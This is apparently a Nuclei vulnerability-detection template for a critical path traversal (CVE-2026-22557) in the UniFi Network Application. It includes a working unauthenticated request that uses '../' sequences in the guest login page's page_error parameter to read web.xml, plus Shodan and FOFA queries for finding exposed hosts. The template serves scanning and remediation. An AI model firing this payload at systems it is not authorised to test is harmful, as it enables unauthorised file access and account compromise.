UniFi Network Application - Path Traversal

id: CVE-2026-22557

info:
  name: UniFi Network Application - Path Traversal
  author: Aryu-RU
  severity: critical
  description: |
    UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.
  impact: |
    Network attackers can access and manipulate system files, potentially compromising user accounts and system integrity.
  remediation: |
    Update to the latest version of UniFi Network Application.
  reference:
    - https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b
    - https://github.com/ThePotatoOfDoom/CVE-2026-22557-PoC
    - https://www.cycognito.com/blog/emerging-threat-ubiquiti-unifi-network-application-path-traversal-cve-2026-22557/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-22557
    epss-score: 0.15601
    epss-percentile: 0.96434
    cwe-id: CWE-22
    cpe: cpe:2.3:a:ui:unifi_network_application:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ui
    product: unifi_network_application
    shodan-query: http.title:"UniFi Network"
    fofa-query: title="UniFi Network"
  tags: cve,cve2026,unifi,ubnt,lfi,traversal,unauth

http:
  - raw:
      - |
        GET /guest/s/default/login?page_error=..%2F..%2Fweb.xml HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/guest/s/default/?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55&ssid=test&url=http://example.com

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<servlet>","<web-app")'
          - 'contains(content_type, "application/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502204c56045da6e55fea31595b4203a944667ec4c01bdb4059dbe9df2a7121662066022100ac659bc2cdd7ecac4730bb3df470654a0cd78732fd138c1865da0982f0b8977a:922c64590222798bb761d5b6d8e72950